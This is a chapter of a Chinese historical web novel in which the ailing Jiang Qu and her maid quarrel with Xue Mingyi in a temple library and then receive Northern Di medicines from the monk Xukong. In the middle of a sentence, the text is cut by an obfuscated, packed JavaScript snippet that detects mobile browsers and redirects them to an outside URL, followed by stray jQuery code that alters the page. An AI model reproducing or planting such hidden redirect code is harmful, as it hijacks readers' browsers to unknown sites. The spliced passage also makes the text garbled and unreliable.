灯台里的烛火晃动,禅房里静得发沉。
喜鹊伸手抚上姜蕖手腕上的青紫,指尖触及的一瞬,又颤抖着收回手,她问:“姑娘,是药的缘故么?”
姜蕖抿抿唇,道:“应该是。”
她偏头错开喜鹊投来的目光,抬手敛下衣袖,覆住腕上的青紫。
喜鹊:“那疼吗?”
“有点疼。”姜蕖低头闷声答。
喜鹊撇着嘴,泪水不自觉滑落,她呜咽自责:“奴婢没用……什么都做不了……就是连药都无法替姑娘喝……”
看着喜鹊泪涕横流的面庞,姜蕖微微一愣,心头涌现一阵无措,她没料到喜鹊为她哭成这般模样,有些后悔刚才为何要说出实话,早知道该骗她两句,姜蕖拍了拍她的肩,别扭开口:“疼在我身上,我都没哭,你哭什么。”
喜鹊伏在她的膝上,打着哭膈,哽咽道:“奴婢替姑娘难受,那,那姑娘现在身子如何了?”
生怕喜鹊哭得更厉害,姜蕖思忖着说:“还好,应当能多活几年吧。”
“呜——!”喜鹊嚎啕大哭。
姜蕖被惊得差点从椅子上翻下去,她双手托着喜鹊的脸,忙哄道:“几年可能是五六七八年,更有可能是几十年,我如今的身子没什么问题。别哭了,跟哭丧似的。”
喜鹊顶着通红的眼珠,认真问:“真的么?真没问题?”
姜蕖咽了咽,点点头,“真的。我何时对你说过谎。”话落,她张开双臂,任由喜鹊检查一遍,才让喜鹊彻底相信她身子无恙。
窗外天黑如墨,连星子都隐没于暗影中。
姜蕖绞尽脑汁,终于将喜鹊劝了出去。屋内安静下来,困意涌现,她低低地叹气一声,转而飞奔滚进松软的被褥中。
本以为这番早已过去,哪料一连几日,姜蕖一睁开眼就发现喜鹊守在她的榻前,皱巴一张脸看她,就怕她醒不过来一样。
幸亏姜蕖心性坚韧,若不然早就被喜鹊吓昏过去。
这一日,姜蕖照常抄好佛经。
微风带着些暖意,吹得禅院中菩提树叶沙沙作响,姜蕖立在窗前,将桌案上的经文一一理齐,放进手边的木匣中。
她侧目望了眼身旁满面忧愁的喜鹊,道:“怎么了。”
喜鹊哀怨地叹了一口气,道:“奴婢一想起姑娘的眼睛就难受,若是往后视物不清可怎么办啊。”
姜蕖淡笑一声,“我又不是瞎了,佛经我都能抄,其他的我还做不成么。”
喜鹊瞧了眼佛经,上头字迹工整,心中的酸楚才好些,她捧起木匣,道:“今日还要将这些佛经送去藏经阁吗?”
姜蕖点了点头,披上雪色薄披风推门而出。
昨夜下了场细雨,日头不如前几日盛。姜蕖缓步朝着藏经阁走去,一边对喜鹊道:“往后莫要在我床前趴着,再看见一次,我便将门从里头锁起来,不让你进来。”
喜鹊低着头,“那不行,奴婢会担心您的。”
姜蕖淡淡瞥了她一眼,伸手推开藏经阁的大门,道:“本来能活十年,如今被你一吓,估计要少活好几年。”
喜鹊嘻嘻一笑,将手里的木匣整齐摆放在一排木架上。
姜蕖随手翻看一旁的佛经,手臂突然被人狠狠一拽,身子酿跄一下,她蹙着眉抬头看去。
只见薛明仪抱胸站在她的身前,她昂着头,嚣张道:“你来这作甚。”
姜蕖心中微恼,不欲与她在这里吵闹个不停,抬步转身离开。
薛明仪哪有被人这般无视过,她不舒坦,旁人岂能舒坦,她一把挥落书架上的木匣,一叠叠整齐放好的佛经顿时乱作一团。
喜鹊见放好的佛经被她弄乱,不禁气道:“你这泼皮!怎么这般惹人讨厌呢!”
薛明仪瞪大双眼,不可置信道:“你说什么!你个贱婢居然敢辱骂我。”
喜鹊不满她这副跋扈之态,当即骂回去,她自小生长于市井之中,骂人的话连说十句都不带重复,听得薛明仪和她的侍女一愣一愣。
半晌才反应过来的薛明仪气得厉害,连脖子都漫上绯红,她撸起袖子,学着喜鹊的话反驳回去。
二人争吵的话语在姜蕖耳边如同乌鸦嘲哳,闹得她颅内嗡嗡直响,她望着薛明仪唾沫乱飞,吐着污言秽语的嘴,心中忽生一计,一个能够激怒薛明仪,诱使她主动去找薛明宛麻烦的法子,她扬声道:“闭嘴!!”
“薛明仪,你有这个闲工夫来为难我,不若多去学些礼仪,免得旁人笑话你连庶女都比不上。”
喜鹊扬起脖子,道:“就是,就是,薛二小姐性格纯善,哪像你恶毒不堪!旁人无非是看在你嫡小姐的名头上,才礼让你两分,你竟还得寸进尺!”
话落,喜鹊拽起姜蕖的手往外走。
薛明仪气得双目猩红,抬手就要去推姜蕖。
喜鹊蓦然瞧见,眼疾手快地拍上薛明仪的肩膀,她的手劲本来就大,这一下也没收着,薛明仪整个身子不受控制地朝后倒去。
一旁的侍女忙伸手去拉,奈何力道不及,反被薛明仪一同带着往后倒去。
二人的身子重重地倒在后面的木架上,木架颤颤巍巍地晃荡,最终不堪重负,沉沉地往后砸去,一排排摆满佛经的木架一个接着一个地被推翻在地!轰隆巨大的声音在姜蕖的耳边如同放爆竹一般。书架上的木匣被砸烂,佛经漫天飞舞,好似冬日的鹅毛大雪。
姜蕖和喜鹊目瞪口呆地愣在原地。
薛明仪和侍女狼狈倒在地上,回头看着满地的狼藉,身子骤然一僵。
藏经阁内的动静极大,惊动外头的僧人。虚空推门而入,一贯冷静的面容在此刻也有片刻的碎裂,他拨弄腕上的佛珠,道:“扶着薛姑娘起来。”
······
薛明仪坐在木椅上嚎啕放声啼哭,泪水流满整张脸,身旁的侍女一边小心擦着,一边拧去帕上的水渍。
喜鹊唯诺地站在姜蕖身后,道:“姑娘,奴婢压根没用力。”
姜蕖耷拉着眉,“嗯,我知道了。”
虚空平静看着薛明仪,道:“薛姑娘,身子可有碍?”
薛明仪大哭,“当然有!我背上的骨头都要断掉了!!就该让这个贱婢去死,才能解我心头之恨!”
喜鹊不服气,站出来气哼哼道:“赔罪?!我凭什么给你赔罪,是你要先推我家姑娘的。”
“你还敢犟嘴!”薛明仪指着她。
虚空垂眸沉气,默念一句“阿弥陀佛”,开口道:“薛姑娘,既然受了伤,就不必大动肝火,寺内有些北狄秘药,想来对薛姑娘的伤势有用,贫僧这就为您取来。”
薛明仪瞥了他一眼,道:“算你还有点眼力见。”
虚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494077|202385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
空侧目对姜蕖道:“姜姑娘不如同贫僧一同去?”
姜蕖淡声道:“好。”她拉起喜鹊的手往外走去。
踏出门的一瞬,姜蕖舒坦地吐出一口气,与其在屋里听喜鹊同薛明仪吵架,逞一时口舌之快,不如直接拉着喜鹊离开,好歹耳边能落个清净。
虚空带着二人来到药寮,一进门便是一阵浓郁的药香,靠墙的一面立着几排木柜,用隔板隔出一块块小格子,上头标明草药的用处。
虚空敛眉捡了些药草磨碎放在油纸中。
姜蕖:“虚空大师也懂药?”
虚空未抬头,平静道:“略懂些。”
姜蕖点头。
喜鹊张望一圈,抿唇问道:“虚空大师这里有缓解眼痛的药草吗?”
姜蕖一顿,便听虚空开口道:“有一些,你的病症如何?”
喜鹊瞟了一眼姜蕖,慢吞吞道:“时有刺痛,视物略有模糊,虚空师父你看看呢?”
虚空这才抬眸,看向的却是姜蕖,他道:“有,贫僧拿给您。”说着,他放下手中的药杵,起身走到木柜前,拉开最里面的一处格子,从中取出一瓶墨色的瓷瓶,递到喜鹊手中。
“滴于眼眸中,一日一次便可。”对上喜鹊懵懂的眼神,他淡淡解释道:“北狄用药胆大,药性刚猛,不可多用。”
喜鹊似懂非懂地点头。
姜蕖蹙眉看着墨色瓷瓶,疑惑道:“东华寺为何独用北狄药草?”
虚空:“智空大师常年游历北狄,归来时会带许多北狄的草药。况且东华寺远离邺都,寻常若是有僧人生病,来不及赶去邺都,便用这些药物。”
“且北狄药材的药性强,治愈很快。”
姜蕖:“如此。”
喜鹊一听起了兴致,好奇问:“那照你这么说,北狄的药草应当比大周的好上不少嘞?”
虚空思忖一瞬,“可以这么说,北狄人逐水草而居,以畜牧为生,常有病疫出现,因此所产之药材药效精良,北狄位处西北,长有许多少见的药材,譬如只长于北狄的斑鸠菊,可用于医治斑白之症。”
喜鹊瞪大双眼,“真的么?原来斑白之症还是有医治的法子呀。”
她舔了舔唇,“那,那是不是世间所有的毒药都能在北狄找到解药?”
“有些毒药无解。”虚空淡道,他走回桌案前接着捣药。
姜蕖的眼睫微颤,目光扫过喜鹊失望的眼眸,她道:“多谢大师赠药,既然无事,我和喜鹊就先离开了,不耽误虚空大师制药。”
虚空的语气平静,“好。”
姜蕖离开药寮,浓郁的药香缓缓消散。
喜鹊走在她的身旁,道:“姑娘,我们以后也去北狄吧,说不定能找到解药。”
姜蕖:“再说。”
喜鹊抿唇一笑,望着隐于云层之后的日光,絮絮叨叨地安排起往后的日子,“日后奴婢攒了三百两银子,咱们就去北狄,到那时奴婢便以织补为生,供姑娘买药喝,然后·······”
姜蕖怔怔听着,心中憋闷,她忽然开口:“别想这么多了。”
姜实甫那般狠毒的人,不会让她有任何活下去的机会。
喜鹊的声音骤然一止。
莫须有的期待只会让来日的痛苦更加刻骨,姜蕖吸了吸鼻子,没再回应她的话,径自往禅房走去。